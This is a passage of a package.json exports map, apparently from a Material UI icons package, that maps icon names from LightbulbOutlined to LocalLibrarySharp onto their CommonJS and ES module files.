\"./LightbulbOutlined\": {\n      \"require\": \"./LightbulbOutlined.js\",\n      \"import\": \"./LightbulbOutlined.mjs\",\n      \"default\": \"./LightbulbOutlined.mjs\"\n    },\n    \"./LightbulbRounded\": {\n      \"require\": \"./LightbulbRounded.js\",\n      \"import\": \"./LightbulbRounded.mjs\",\n      \"default\": \"./LightbulbRounded.mjs\"\n    },\n    \"./LightbulbSharp\": {\n      \"require\": \"./LightbulbSharp.js\",\n      \"import\": \"./LightbulbSharp.mjs\",\n      \"default\": \"./LightbulbSharp.mjs\"\n    },\n    \"./LightbulbTwoTone\": {\n      \"require\": \"./LightbulbTwoTone.js\",\n      \"import\": \"./LightbulbTwoTone.mjs\",\n      \"default\": \"./LightbulbTwoTone.mjs\"\n    },\n    \"./LineAxis\": {\n      \"require\": \"./LineAxis.js\",\n      \"import\": \"./LineAxis.mjs\",\n      \"default\": \"./LineAxis.mjs\"\n    },\n    \"./LineAxisOutlined\": {\n      \"require\": \"./LineAxisOutlined.js\",\n      \"import\": \"./LineAxisOutlined.mjs\",\n      \"default\": \"./LineAxisOutlined.mjs\"\n    },\n    \"./LineAxisRounded\": {\n      \"require\": \"./LineAxisRounded.js\",\n      \"import\": \"./LineAxisRounded.mjs\",\n      \"default\": \"./LineAxisRounded.mjs\"\n    },\n    \"./LineAxisSharp\": {\n      \"require\": \"./LineAxisSharp.js\",\n      \"import\": \"./LineAxisSharp.mjs\",\n      \"default\": \"./LineAxisSharp.mjs\"\n    },\n    \"./LineAxisTwoTone\": {\n      \"require\": \"./LineAxisTwoTone.js\",\n      \"import\": \"./LineAxisTwoTone.mjs\",\n      \"default\": \"./LineAxisTwoTone.mjs\"\n    },\n    \"./LineStyle\": {\n      \"require\": \"./LineStyle.js\",\n      \"import\": \"./LineStyle.mjs\",\n      \"default\": \"./LineStyle.mjs\"\n    },\n    \"./LineStyleOutlined\": {\n      \"require\": \"./LineStyleOutlined.js\",\n      \"import\": \"./LineStyleOutlined.mjs\",\n      \"default\": \"./LineStyleOutlined.mjs\"\n    },\n    \"./LineStyleRounded\": {\n      \"require\": \"./LineStyleRounded.js\",\n      \"import\": \"./LineStyleRounded.mjs\",\n      \"default\": \"./LineStyleRounded.mjs\"\n    },\n    \"./LineStyleSharp\": {\n      \"require\": \"./LineStyleSharp.js\",\n      \"import\": \"./LineStyleSharp.mjs\",\n      \"default\": \"./LineStyleSharp.mjs\"\n    },\n    \"./LineStyleTwoTone\": {\n      \"require\": \"./LineStyleTwoTone.js\",\n      \"import\": \"./LineStyleTwoTone.mjs\",\n      \"default\": \"./LineStyleTwoTone.mjs\"\n    },\n    \"./LineWeight\": {\n      \"require\": \"./LineWeight.js\",\n      \"import\": \"./LineWeight.mjs\",\n      \"default\": \"./LineWeight.mjs\"\n    },\n    \"./LineWeightOutlined\": {\n      \"require\": \"./LineWeightOutlined.js\",\n      \"import\": \"./LineWeightOutlined.mjs\",\n      \"default\": \"./LineWeightOutlined.mjs\"\n    },\n    \"./LineWeightRounded\": {\n      \"require\": \"./LineWeightRounded.js\",\n      \"import\": \"./LineWeightRounded.mjs\",\n      \"default\": \"./LineWeightRounded.mjs\"\n    },\n    \"./LineWeightSharp\": {\n      \"require\": \"./LineWeightSharp.js\",\n      \"import\": \"./LineWeightSharp.mjs\",\n      \"default\": \"./LineWeightSharp.mjs\"\n    },\n    \"./LineWeightTwoTone\": {\n      \"require\": \"./LineWeightTwoTone.js\",\n      \"import\": \"./LineWeightTwoTone.mjs\",\n      \"default\": \"./LineWeightTwoTone.mjs\"\n    },\n    \"./LinearScale\": {\n      \"require\": \"./LinearScale.js\",\n      \"import\": \"./LinearScale.mjs\",\n      \"default\": \"./LinearScale.mjs\"\n    },\n    \"./LinearScaleOutlined\": {\n      \"require\": \"./LinearScaleOutlined.js\",\n      \"import\": \"./LinearScaleOutlined.mjs\",\n      \"default\": \"./LinearScaleOutlined.mjs\"\n    },\n    \"./LinearScaleRounded\": {\n      \"require\": \"./LinearScaleRounded.js\",\n      \"import\": \"./LinearScaleRounded.mjs\",\n      \"default\": \"./LinearScaleRounded.mjs\"\n    },\n    \"./LinearScaleSharp\": {\n      \"require\": \"./LinearScaleSharp.js\",\n      \"import\": \"./LinearScaleSharp.mjs\",\n      \"default\": \"./LinearScaleSharp.mjs\"\n    },\n    \"./LinearScaleTwoTone\": {\n      \"require\": \"./LinearScaleTwoTone.js\",\n      \"import\": \"./LinearScaleTwoTone.mjs\",\n      \"default\": \"./LinearScaleTwoTone.mjs\"\n    },\n    \"./Link\": {\n      \"require\": \"./Link.js\",\n      \"import\": \"./Link.mjs\",\n      \"default\": \"./Link.mjs\"\n    },\n    \"./LinkOff\": {\n      \"require\": \"./LinkOff.js\",\n      \"import\": \"./LinkOff.mjs\",\n      \"default\": \"./LinkOff.mjs\"\n    },\n    \"./LinkOffOutlined\": {\n      \"require\": \"./LinkOffOutlined.js\",\n      \"import\": \"./LinkOffOutlined.mjs\",\n      \"default\": \"./LinkOffOutlined.mjs\"\n    },\n    \"./LinkOffRounded\": {\n      \"require\": \"./LinkOffRounded.js\",\n      \"import\": \"./LinkOffRounded.mjs\",\n      \"default\": \"./LinkOffRounded.mjs\"\n    },\n    \"./LinkOffSharp\": {\n      \"require\": \"./LinkOffSharp.js\",\n      \"import\": \"./LinkOffSharp.mjs\",\n      \"default\": \"./LinkOffSharp.mjs\"\n    },\n    \"./LinkOffTwoTone\": {\n      \"require\": \"./LinkOffTwoTone.js\",\n      \"import\": \"./LinkOffTwoTone.mjs\",\n      \"default\": \"./LinkOffTwoTone.mjs\"\n    },\n    \"./LinkOutlined\": {\n      \"require\": \"./LinkOutlined.js\",\n      \"import\": \"./LinkOutlined.mjs\",\n      \"default\": \"./LinkOutlined.mjs\"\n    },\n    \"./LinkRounded\": {\n      \"require\": \"./LinkRounded.js\",\n      \"import\": \"./LinkRounded.mjs\",\n      \"default\": \"./LinkRounded.mjs\"\n    },\n    \"./LinkSharp\": {\n      \"require\": \"./LinkSharp.js\",\n      \"import\": \"./LinkSharp.mjs\",\n      \"default\": \"./LinkSharp.mjs\"\n    },\n    \"./LinkTwoTone\": {\n      \"require\": \"./LinkTwoTone.js\",\n      \"import\": \"./LinkTwoTone.mjs\",\n      \"default\": \"./LinkTwoTone.mjs\"\n    },\n    \"./LinkedCamera\": {\n      \"require\": \"./LinkedCamera.js\",\n      \"import\": \"./LinkedCamera.mjs\",\n      \"default\": \"./LinkedCamera.mjs\"\n    },\n    \"./LinkedCameraOutlined\": {\n      \"require\": \"./LinkedCameraOutlined.js\",\n      \"import\": \"./LinkedCameraOutlined.mjs\",\n      \"default\": \"./LinkedCameraOutlined.mjs\"\n    },\n    \"./LinkedCameraRounded\": {\n      \"require\": \"./LinkedCameraRounded.js\",\n      \"import\": \"./LinkedCameraRounded.mjs\",\n      \"default\": \"./LinkedCameraRounded.mjs\"\n    },\n    \"./LinkedCameraSharp\": {\n      \"require\": \"./LinkedCameraSharp.js\",\n      \"import\": \"./LinkedCameraSharp.mjs\",\n      \"default\": \"./LinkedCameraSharp.mjs\"\n    },\n    \"./LinkedCameraTwoTone\": {\n      \"require\": \"./LinkedCameraTwoTone.js\",\n      \"import\": \"./LinkedCameraTwoTone.mjs\",\n      \"default\": \"./LinkedCameraTwoTone.mjs\"\n    },\n    \"./LinkedIn\": {\n      \"require\": \"./LinkedIn.js\",\n      \"import\": \"./LinkedIn.mjs\",\n      \"default\": \"./LinkedIn.mjs\"\n    },\n    \"./Liquor\": {\n      \"require\": \"./Liquor.js\",\n      \"import\": \"./Liquor.mjs\",\n      \"default\": \"./Liquor.mjs\"\n    },\n    \"./LiquorOutlined\": {\n      \"require\": \"./LiquorOutlined.js\",\n      \"import\": \"./LiquorOutlined.mjs\",\n      \"default\": \"./LiquorOutlined.mjs\"\n    },\n    \"./LiquorRounded\": {\n      \"require\": \"./LiquorRounded.js\",\n      \"import\": \"./LiquorRounded.mjs\",\n      \"default\": \"./LiquorRounded.mjs\"\n    },\n    \"./LiquorSharp\": {\n      \"require\": \"./LiquorSharp.js\",\n      \"import\": \"./LiquorSharp.mjs\",\n      \"default\": \"./LiquorSharp.mjs\"\n    },\n    \"./LiquorTwoTone\": {\n      \"require\": \"./LiquorTwoTone.js\",\n      \"import\": \"./LiquorTwoTone.mjs\",\n      \"default\": \"./LiquorTwoTone.mjs\"\n    },\n    \"./List\": {\n      \"require\": \"./List.js\",\n      \"import\": \"./List.mjs\",\n      \"default\": \"./List.mjs\"\n    },\n    \"./ListAlt\": {\n      \"require\": \"./ListAlt.js\",\n      \"import\": \"./ListAlt.mjs\",\n      \"default\": \"./ListAlt.mjs\"\n    },\n    \"./ListAltOutlined\": {\n      \"require\": \"./ListAltOutlined.js\",\n      \"import\": \"./ListAltOutlined.mjs\",\n      \"default\": \"./ListAltOutlined.mjs\"\n    },\n    \"./ListAltRounded\": {\n      \"require\": \"./ListAltRounded.js\",\n      \"import\": \"./ListAltRounded.mjs\",\n      \"default\": \"./ListAltRounded.mjs\"\n    },\n    \"./ListAltSharp\": {\n      \"require\": \"./ListAltSharp.js\",\n      \"import\": \"./ListAltSharp.mjs\",\n      \"default\": \"./ListAltSharp.mjs\"\n    },\n    \"./ListAltTwoTone\": {\n      \"require\": \"./ListAltTwoTone.js\",\n      \"import\": \"./ListAltTwoTone.mjs\",\n      \"default\": \"./ListAltTwoTone.mjs\"\n    },\n    \"./ListOutlined\": {\n      \"require\": \"./ListOutlined.js\",\n      \"import\": \"./ListOutlined.mjs\",\n      \"default\": \"./ListOutlined.mjs\"\n    },\n    \"./ListRounded\": {\n      \"require\": \"./ListRounded.js\",\n      \"import\": \"./ListRounded.mjs\",\n      \"default\": \"./ListRounded.mjs\"\n    },\n    \"./ListSharp\": {\n      \"require\": \"./ListSharp.js\",\n      \"import\": \"./ListSharp.mjs\",\n      \"default\": \"./ListSharp.mjs\"\n    },\n    \"./ListTwoTone\": {\n      \"require\": \"./ListTwoTone.js\",\n      \"import\": \"./ListTwoTone.mjs\",\n      \"default\": \"./ListTwoTone.mjs\"\n    },\n    \"./LiveHelp\": {\n      \"require\": \"./LiveHelp.js\",\n      \"import\": \"./LiveHelp.mjs\",\n      \"default\": \"./LiveHelp.mjs\"\n    },\n    \"./LiveHelpOutlined\": {\n      \"require\": \"./LiveHelpOutlined.js\",\n      \"import\": \"./LiveHelpOutlined.mjs\",\n      \"default\": \"./LiveHelpOutlined.mjs\"\n    },\n    \"./LiveHelpRounded\": {\n      \"require\": \"./LiveHelpRounded.js\",\n      \"import\": \"./LiveHelpRounded.mjs\",\n      \"default\": \"./LiveHelpRounded.mjs\"\n    },\n    \"./LiveHelpSharp\": {\n      \"require\": \"./LiveHelpSharp.js\",\n      \"import\": \"./LiveHelpSharp.mjs\",\n      \"default\": \"./LiveHelpSharp.mjs\"\n    },\n    \"./LiveHelpTwoTone\": {\n      \"require\": \"./LiveHelpTwoTone.js\",\n      \"import\": \"./LiveHelpTwoTone.mjs\",\n      \"default\": \"./LiveHelpTwoTone.mjs\"\n    },\n    \"./LiveTv\": {\n      \"require\": \"./LiveTv.js\",\n      \"import\": \"./LiveTv.mjs\",\n      \"default\": \"./LiveTv.mjs\"\n    },\n    \"./LiveTvOutlined\": {\n      \"require\": \"./LiveTvOutlined.js\",\n      \"import\": \"./LiveTvOutlined.mjs\",\n      \"default\": \"./LiveTvOutlined.mjs\"\n    },\n    \"./LiveTvRounded\": {\n      \"require\": \"./LiveTvRounded.js\",\n      \"import\": \"./LiveTvRounded.mjs\",\n      \"default\": \"./LiveTvRounded.mjs\"\n    },\n    \"./LiveTvSharp\": {\n      \"require\": \"./LiveTvSharp.js\",\n      \"import\": \"./LiveTvSharp.mjs\",\n      \"default\": \"./LiveTvSharp.mjs\"\n    },\n    \"./LiveTvTwoTone\": {\n      \"require\": \"./LiveTvTwoTone.js\",\n      \"import\": \"./LiveTvTwoTone.mjs\",\n      \"default\": \"./LiveTvTwoTone.mjs\"\n    },\n    \"./Living\": {\n      \"require\": \"./Living.js\",\n      \"import\": \"./Living.mjs\",\n      \"default\": \"./Living.mjs\"\n    },\n    \"./LivingOutlined\": {\n      \"require\": \"./LivingOutlined.js\",\n      \"import\": \"./LivingOutlined.mjs\",\n      \"default\": \"./LivingOutlined.mjs\"\n    },\n    \"./LivingRounded\": {\n      \"require\": \"./LivingRounded.js\",\n      \"import\": \"./LivingRounded.mjs\",\n      \"default\": \"./LivingRounded.mjs\"\n    },\n    \"./LivingSharp\": {\n      \"require\": \"./LivingSharp.js\",\n      \"import\": \"./LivingSharp.mjs\",\n      \"default\": \"./LivingSharp.mjs\"\n    },\n    \"./LivingTwoTone\": {\n      \"require\": \"./LivingTwoTone.js\",\n      \"import\": \"./LivingTwoTone.mjs\",\n      \"default\": \"./LivingTwoTone.mjs\"\n    },\n    \"./LocalActivity\": {\n      \"require\": \"./LocalActivity.js\",\n      \"import\": \"./LocalActivity.mjs\",\n      \"default\": \"./LocalActivity.mjs\"\n    },\n    \"./LocalActivityOutlined\": {\n      \"require\": \"./LocalActivityOutlined.js\",\n      \"import\": \"./LocalActivityOutlined.mjs\",\n      \"default\": \"./LocalActivityOutlined.mjs\"\n    },\n    \"./LocalActivityRounded\": {\n      \"require\": \"./LocalActivityRounded.js\",\n      \"import\": \"./LocalActivityRounded.mjs\",\n      \"default\": \"./LocalActivityRounded.mjs\"\n    },\n    \"./LocalActivitySharp\": {\n      \"require\": \"./LocalActivitySharp.js\",\n      \"import\": \"./LocalActivitySharp.mjs\",\n      \"default\": \"./LocalActivitySharp.mjs\"\n    },\n    \"./LocalActivityTwoTone\": {\n      \"require\": \"./LocalActivityTwoTone.js\",\n      \"import\": \"./LocalActivityTwoTone.mjs\",\n      \"default\": \"./LocalActivityTwoTone.mjs\"\n    },\n    \"./LocalAirport\": {\n      \"require\": \"./LocalAirport.js\",\n      \"import\": \"./LocalAirport.mjs\",\n      \"default\": \"./LocalAirport.mjs\"\n    },\n    \"./LocalAirportOutlined\": {\n      \"require\": \"./LocalAirportOutlined.js\",\n      \"import\": \"./LocalAirportOutlined.mjs\",\n      \"default\": \"./LocalAirportOutlined.mjs\"\n    },\n    \"./LocalAirportRounded\": {\n      \"require\": \"./LocalAirportRounded.js\",\n      \"import\": \"./LocalAirportRounded.mjs\",\n      \"default\": \"./LocalAirportRounded.mjs\"\n    },\n    \"./LocalAirportSharp\": {\n      \"require\": \"./LocalAirportSharp.js\",\n      \"import\": \"./LocalAirportSharp.mjs\",\n      \"default\": \"./LocalAirportSharp.mjs\"\n    },\n    \"./LocalAirportTwoTone\": {\n      \"require\": \"./LocalAirportTwoTone.js\",\n      \"import\": \"./LocalAirportTwoTone.mjs\",\n      \"default\": \"./LocalAirportTwoTone.mjs\"\n    },\n    \"./LocalAtm\": {\n      \"require\": \"./LocalAtm.js\",\n      \"import\": \"./LocalAtm.mjs\",\n      \"default\": \"./LocalAtm.mjs\"\n    },\n    \"./LocalAtmOutlined\": {\n      \"require\": \"./LocalAtmOutlined.js\",\n      \"import\": \"./LocalAtmOutlined.mjs\",\n      \"default\": \"./LocalAtmOutlined.mjs\"\n    },\n    \"./LocalAtmRounded\": {\n      \"require\": \"./LocalAtmRounded.js\",\n      \"import\": \"./LocalAtmRounded.mjs\",\n      \"default\": \"./LocalAtmRounded.mjs\"\n    },\n    \"./LocalAtmSharp\": {\n      \"require\": \"./LocalAtmSharp.js\",\n      \"import\": \"./LocalAtmSharp.mjs\",\n      \"default\": \"./LocalAtmSharp.mjs\"\n    },\n    \"./LocalAtmTwoTone\": {\n      \"require\": \"./LocalAtmTwoTone.js\",\n      \"import\": \"./LocalAtmTwoTone.mjs\",\n      \"default\": \"./LocalAtmTwoTone.mjs\"\n    },\n    \"./LocalBar\": {\n      \"require\": \"./LocalBar.js\",\n      \"import\": \"./LocalBar.mjs\",\n      \"default\": \"./LocalBar.mjs\"\n    },\n    \"./LocalBarOutlined\": {\n      \"require\": \"./LocalBarOutlined.js\",\n      \"import\": \"./LocalBarOutlined.mjs\",\n      \"default\": \"./LocalBarOutlined.mjs\"\n    },\n    \"./LocalBarRounded\": {\n      \"require\": \"./LocalBarRounded.js\",\n      \"import\": \"./LocalBarRounded.mjs\",\n      \"default\": \"./LocalBarRounded.mjs\"\n    },\n    \"./LocalBarSharp\": {\n      \"require\": \"./LocalBarSharp.js\",\n      \"import\": \"./LocalBarSharp.mjs\",\n      \"default\": \"./LocalBarSharp.mjs\"\n    },\n    \"./LocalBarTwoTone\": {\n      \"require\": \"./LocalBarTwoTone.js\",\n      \"import\": \"./LocalBarTwoTone.mjs\",\n      \"default\": \"./LocalBarTwoTone.mjs\"\n    },\n    \"./LocalCafe\": {\n      \"require\": \"./LocalCafe.js\",\n      \"import\": \"./LocalCafe.mjs\",\n      \"default\": \"./LocalCafe.mjs\"\n    },\n    \"./LocalCafeOutlined\": {\n      \"require\": \"./LocalCafeOutlined.js\",\n      \"import\": \"./LocalCafeOutlined.mjs\",\n      \"default\": \"./LocalCafeOutlined.mjs\"\n    },\n    \"./LocalCafeRounded\": {\n      \"require\": \"./LocalCafeRounded.js\",\n      \"import\": \"./LocalCafeRounded.mjs\",\n      \"default\": \"./LocalCafeRounded.mjs\"\n    },\n    \"./LocalCafeSharp\": {\n      \"require\": \"./LocalCafeSharp.js\",\n      \"import\": \"./LocalCafeSharp.mjs\",\n      \"default\": \"./LocalCafeSharp.mjs\"\n    },\n    \"./LocalCafeTwoTone\": {\n      \"require\": \"./LocalCafeTwoTone.js\",\n      \"import\": \"./LocalCafeTwoTone.mjs\",\n      \"default\": \"./LocalCafeTwoTone.mjs\"\n    },\n    \"./LocalCarWash\": {\n      \"require\": \"./LocalCarWash.js\",\n      \"import\": \"./LocalCarWash.mjs\",\n      \"default\": \"./LocalCarWash.mjs\"\n    },\n    \"./LocalCarWashOutlined\": {\n      \"require\": \"./LocalCarWashOutlined.js\",\n      \"import\": \"./LocalCarWashOutlined.mjs\",\n      \"default\": \"./LocalCarWashOutlined.mjs\"\n    },\n    \"./LocalCarWashRounded\": {\n      \"require\": \"./LocalCarWashRounded.js\",\n      \"import\": \"./LocalCarWashRounded.mjs\",\n      \"default\": \"./LocalCarWashRounded.mjs\"\n    },\n    \"./LocalCarWashSharp\": {\n      \"require\": \"./LocalCarWashSharp.js\",\n      \"import\": \"./LocalCarWashSharp.mjs\",\n      \"default\": \"./LocalCarWashSharp.mjs\"\n    },\n    \"./LocalCarWashTwoTone\": {\n      \"require\": \"./LocalCarWashTwoTone.js\",\n      \"import\": \"./LocalCarWashTwoTone.mjs\",\n      \"default\": \"./LocalCarWashTwoTone.mjs\"\n    },\n    \"./LocalConvenienceStore\": {\n      \"require\": \"./LocalConvenienceStore.js\",\n      \"import\": \"./LocalConvenienceStore.mjs\",\n      \"default\": \"./LocalConvenienceStore.mjs\"\n    },\n    \"./LocalConvenienceStoreOutlined\": {\n      \"import\": \"./LocalConvenienceStoreOutlined.mjs\",\n      \"require\": \"./LocalConvenienceStoreOutlined.js\",\n      \"default\": \"./LocalConvenienceStoreOutlined.mjs\"\n    },\n    \"./LocalConvenienceStoreRounded\": {\n      \"import\": \"./LocalConvenienceStoreRounded.mjs\",\n      \"require\": \"./LocalConvenienceStoreRounded.js\",\n      \"default\": \"./LocalConvenienceStoreRounded.mjs\"\n    },\n    \"./LocalConvenienceStoreSharp\": {\n      \"import\": \"./LocalConvenienceStoreSharp.mjs\",\n      \"require\": \"./LocalConvenienceStoreSharp.js\",\n      \"default\": \"./LocalConvenienceStoreSharp.mjs\"\n    },\n    \"./LocalConvenienceStoreTwoTone\": {\n      \"import\": \"./LocalConvenienceStoreTwoTone.mjs\",\n      \"require\": \"./LocalConvenienceStoreTwoTone.js\",\n      \"default\": \"./LocalConvenienceStoreTwoTone.mjs\"\n    },\n    \"./LocalDining\": {\n      \"import\": \"./LocalDining.mjs\",\n      \"require\": \"./LocalDining.js\",\n      \"default\": \"./LocalDining.mjs\"\n    },\n    \"./LocalDiningOutlined\": {\n      \"import\": \"./LocalDiningOutlined.mjs\",\n      \"require\": \"./LocalDiningOutlined.js\",\n      \"default\": \"./LocalDiningOutlined.mjs\"\n    },\n    \"./LocalDiningRounded\": {\n      \"import\": \"./LocalDiningRounded.mjs\",\n      \"require\": \"./LocalDiningRounded.js\",\n      \"default\": \"./LocalDiningRounded.mjs\"\n    },\n    \"./LocalDiningSharp\": {\n      \"import\": \"./LocalDiningSharp.mjs\",\n      \"require\": \"./LocalDiningSharp.js\",\n      \"default\": \"./LocalDiningSharp.mjs\"\n    },\n    \"./LocalDiningTwoTone\": {\n      \"import\": \"./LocalDiningTwoTone.mjs\",\n      \"require\": \"./LocalDiningTwoTone.js\",\n      \"default\": \"./LocalDiningTwoTone.mjs\"\n    },\n    \"./LocalDrink\": {\n      \"import\": \"./LocalDrink.mjs\",\n      \"require\": \"./LocalDrink.js\",\n      \"default\": \"./LocalDrink.mjs\"\n    },\n    \"./LocalDrinkOutlined\": {\n      \"import\": \"./LocalDrinkOutlined.mjs\",\n      \"require\": \"./LocalDrinkOutlined.js\",\n      \"default\": \"./LocalDrinkOutlined.mjs\"\n    },\n    \"./LocalDrinkRounded\": {\n      \"import\": \"./LocalDrinkRounded.mjs\",\n      \"require\": \"./LocalDrinkRounded.js\",\n      \"default\": \"./LocalDrinkRounded.mjs\"\n    },\n    \"./LocalDrinkSharp\": {\n      \"import\": \"./LocalDrinkSharp.mjs\",\n      \"require\": \"./LocalDrinkSharp.js\",\n      \"default\": \"./LocalDrinkSharp.mjs\"\n    },\n    \"./LocalDrinkTwoTone\": {\n      \"import\": \"./LocalDrinkTwoTone.mjs\",\n      \"require\": \"./LocalDrinkTwoTone.js\",\n      \"default\": \"./LocalDrinkTwoTone.mjs\"\n    },\n    \"./LocalFireDepartment\": {\n      \"import\": \"./LocalFireDepartment.mjs\",\n      \"require\": \"./LocalFireDepartment.js\",\n      \"default\": \"./LocalFireDepartment.mjs\"\n    },\n    \"./LocalFireDepartmentOutlined\": {\n      \"import\": \"./LocalFireDepartmentOutlined.mjs\",\n      \"require\": \"./LocalFireDepartmentOutlined.js\",\n      \"default\": \"./LocalFireDepartmentOutlined.mjs\"\n    },\n    \"./LocalFireDepartmentRounded\": {\n      \"import\": \"./LocalFireDepartmentRounded.mjs\",\n      \"require\": \"./LocalFireDepartmentRounded.js\",\n      \"default\": \"./LocalFireDepartmentRounded.mjs\"\n    },\n    \"./LocalFireDepartmentSharp\": {\n      \"import\": \"./LocalFireDepartmentSharp.mjs\",\n      \"require\": \"./LocalFireDepartmentSharp.js\",\n      \"default\": \"./LocalFireDepartmentSharp.mjs\"\n    },\n    \"./LocalFireDepartmentTwoTone\": {\n      \"import\": \"./LocalFireDepartmentTwoTone.mjs\",\n      \"require\": \"./LocalFireDepartmentTwoTone.js\",\n      \"default\": \"./LocalFireDepartmentTwoTone.mjs\"\n    },\n    \"./LocalFlorist\": {\n      \"import\": \"./LocalFlorist.mjs\",\n      \"require\": \"./LocalFlorist.js\",\n      \"default\": \"./LocalFlorist.mjs\"\n    },\n    \"./LocalFloristOutlined\": {\n      \"import\": \"./LocalFloristOutlined.mjs\",\n      \"require\": \"./LocalFloristOutlined.js\",\n      \"default\": \"./LocalFloristOutlined.mjs\"\n    },\n    \"./LocalFloristRounded\": {\n      \"import\": \"./LocalFloristRounded.mjs\",\n      \"require\": \"./LocalFloristRounded.js\",\n      \"default\": \"./LocalFloristRounded.mjs\"\n    },\n    \"./LocalFloristSharp\": {\n      \"import\": \"./LocalFloristSharp.mjs\",\n      \"require\": \"./LocalFloristSharp.js\",\n      \"default\": \"./LocalFloristSharp.mjs\"\n    },\n    \"./LocalFloristTwoTone\": {\n      \"import\": \"./LocalFloristTwoTone.mjs\",\n      \"require\": \"./LocalFloristTwoTone.js\",\n      \"default\": \"./LocalFloristTwoTone.mjs\"\n    },\n    \"./LocalGasStation\": {\n      \"import\": \"./LocalGasStation.mjs\",\n      \"require\": \"./LocalGasStation.js\",\n      \"default\": \"./LocalGasStation.mjs\"\n    },\n    \"./LocalGasStationOutlined\": {\n      \"import\": \"./LocalGasStationOutlined.mjs\",\n      \"require\": \"./LocalGasStationOutlined.js\",\n      \"default\": \"./LocalGasStationOutlined.mjs\"\n    },\n    \"./LocalGasStationRounded\": {\n      \"require\": \"./LocalGasStationRounded.js\",\n      \"import\": \"./LocalGasStationRounded.mjs\",\n      \"default\": \"./LocalGasStationRounded.mjs\"\n    },\n    \"./LocalGasStationSharp\": {\n      \"require\": \"./LocalGasStationSharp.js\",\n      \"import\": \"./LocalGasStationSharp.mjs\",\n      \"default\": \"./LocalGasStationSharp.mjs\"\n    },\n    \"./LocalGasStationTwoTone\": {\n      \"require\": \"./LocalGasStationTwoTone.js\",\n      \"import\": \"./LocalGasStationTwoTone.mjs\",\n      \"default\": \"./LocalGasStationTwoTone.mjs\"\n    },\n    \"./LocalGroceryStore\": {\n      \"import\": \"./LocalGroceryStore.mjs\",\n      \"require\": \"./LocalGroceryStore.js\",\n      \"default\": \"./LocalGroceryStore.mjs\"\n    },\n    \"./LocalGroceryStoreOutlined\": {\n      \"import\": \"./LocalGroceryStoreOutlined.mjs\",\n      \"require\": \"./LocalGroceryStoreOutlined.js\",\n      \"default\": \"./LocalGroceryStoreOutlined.mjs\"\n    },\n    \"./LocalGroceryStoreRounded\": {\n      \"import\": \"./LocalGroceryStoreRounded.mjs\",\n      \"require\": \"./LocalGroceryStoreRounded.js\",\n      \"default\": \"./LocalGroceryStoreRounded.mjs\"\n    },\n    \"./LocalGroceryStoreSharp\": {\n      \"import\": \"./LocalGroceryStoreSharp.mjs\",\n      \"require\": \"./LocalGroceryStoreSharp.js\",\n      \"default\": \"./LocalGroceryStoreSharp.mjs\"\n    },\n    \"./LocalGroceryStoreTwoTone\": {\n      \"import\": \"./LocalGroceryStoreTwoTone.mjs\",\n      \"require\": \"./LocalGroceryStoreTwoTone.js\",\n      \"default\": \"./LocalGroceryStoreTwoTone.mjs\"\n    },\n    \"./LocalHospital\": {\n      \"import\": \"./LocalHospital.mjs\",\n      \"require\": \"./LocalHospital.js\",\n      \"default\": \"./LocalHospital.mjs\"\n    },\n    \"./LocalHospitalOutlined\": {\n      \"import\": \"./LocalHospitalOutlined.mjs\",\n      \"require\": \"./LocalHospitalOutlined.js\",\n      \"default\": \"./LocalHospitalOutlined.mjs\"\n    },\n    \"./LocalHospitalRounded\": {\n      \"import\": \"./LocalHospitalRounded.mjs\",\n      \"require\": \"./LocalHospitalRounded.js\",\n      \"default\": \"./LocalHospitalRounded.mjs\"\n    },\n    \"./LocalHospitalSharp\": {\n      \"import\": \"./LocalHospitalSharp.mjs\",\n      \"require\": \"./LocalHospitalSharp.js\",\n      \"default\": \"./LocalHospitalSharp.mjs\"\n    },\n    \"./LocalHospitalTwoTone\": {\n      \"import\": \"./LocalHospitalTwoTone.mjs\",\n      \"require\": \"./LocalHospitalTwoTone.js\",\n      \"default\": \"./LocalHospitalTwoTone.mjs\"\n    },\n    \"./LocalHotel\": {\n      \"import\": \"./LocalHotel.mjs\",\n      \"require\": \"./LocalHotel.js\",\n      \"default\": \"./LocalHotel.mjs\"\n    },\n    \"./LocalHotelOutlined\": {\n      \"import\": \"./LocalHotelOutlined.mjs\",\n      \"require\": \"./LocalHotelOutlined.js\",\n      \"default\": \"./LocalHotelOutlined.mjs\"\n    },\n    \"./LocalHotelRounded\": {\n      \"import\": \"./LocalHotelRounded.mjs\",\n      \"require\": \"./LocalHotelRounded.js\",\n      \"default\": \"./LocalHotelRounded.mjs\"\n    },\n    \"./LocalHotelSharp\": {\n      \"import\": \"./LocalHotelSharp.mjs\",\n      \"require\": \"./LocalHotelSharp.js\",\n      \"default\": \"./LocalHotelSharp.mjs\"\n    },\n    \"./LocalHotelTwoTone\": {\n      \"import\": \"./LocalHotelTwoTone.mjs\",\n      \"require\": \"./LocalHotelTwoTone.js\",\n      \"default\": \"./LocalHotelTwoTone.mjs\"\n    },\n    \"./LocalLaundryService\": {\n      \"import\": \"./LocalLaundryService.mjs\",\n      \"require\": \"./LocalLaundryService.js\",\n      \"default\": \"./LocalLaundryService.mjs\"\n    },\n    \"./LocalLaundryServiceOutlined\": {\n      \"import\": \"./LocalLaundryServiceOutlined.mjs\",\n      \"require\": \"./LocalLaundryServiceOutlined.js\",\n      \"default\": \"./LocalLaundryServiceOutlined.mjs\"\n    },\n    \"./LocalLaundryServiceRounded\": {\n      \"import\": \"./LocalLaundryServiceRounded.mjs\",\n      \"require\": \"./LocalLaundryServiceRounded.js\",\n      \"default\": \"./LocalLaundryServiceRounded.mjs\"\n    },\n    \"./LocalLaundryServiceSharp\": {\n      \"import\": \"./LocalLaundryServiceSharp.mjs\",\n      \"require\": \"./LocalLaundryServiceSharp.js\",\n      \"default\": \"./LocalLaundryServiceSharp.mjs\"\n    },\n    \"./LocalLaundryServiceTwoTone\": {\n      \"import\": \"./LocalLaundryServiceTwoTone.mjs\",\n      \"require\": \"./LocalLaundryServiceTwoTone.js\",\n      \"default\": \"./LocalLaundryServiceTwoTone.mjs\"\n    },\n    \"./LocalLibrary\": {\n      \"import\": \"./LocalLibrary.mjs\",\n      \"require\": \"./LocalLibrary.js\",\n      \"default\": \"./LocalLibrary.mjs\"\n    },\n    \"./LocalLibraryOutlined\": {\n      \"import\": \"./LocalLibraryOutlined.mjs\",\n      \"require\": \"./LocalLibraryOutlined.js\",\n      \"default\": \"./LocalLibraryOutlined.mjs\"\n    },\n    \"./LocalLibraryRounded\": {\n      \"import\": \"./LocalLibraryRounded.mjs\",\n      \"require\": \"./LocalLibraryRounded.js\",\n      \"default\": \"./LocalLibraryRounded.mjs\"\n    },\n    \"./LocalLibrarySharp\": 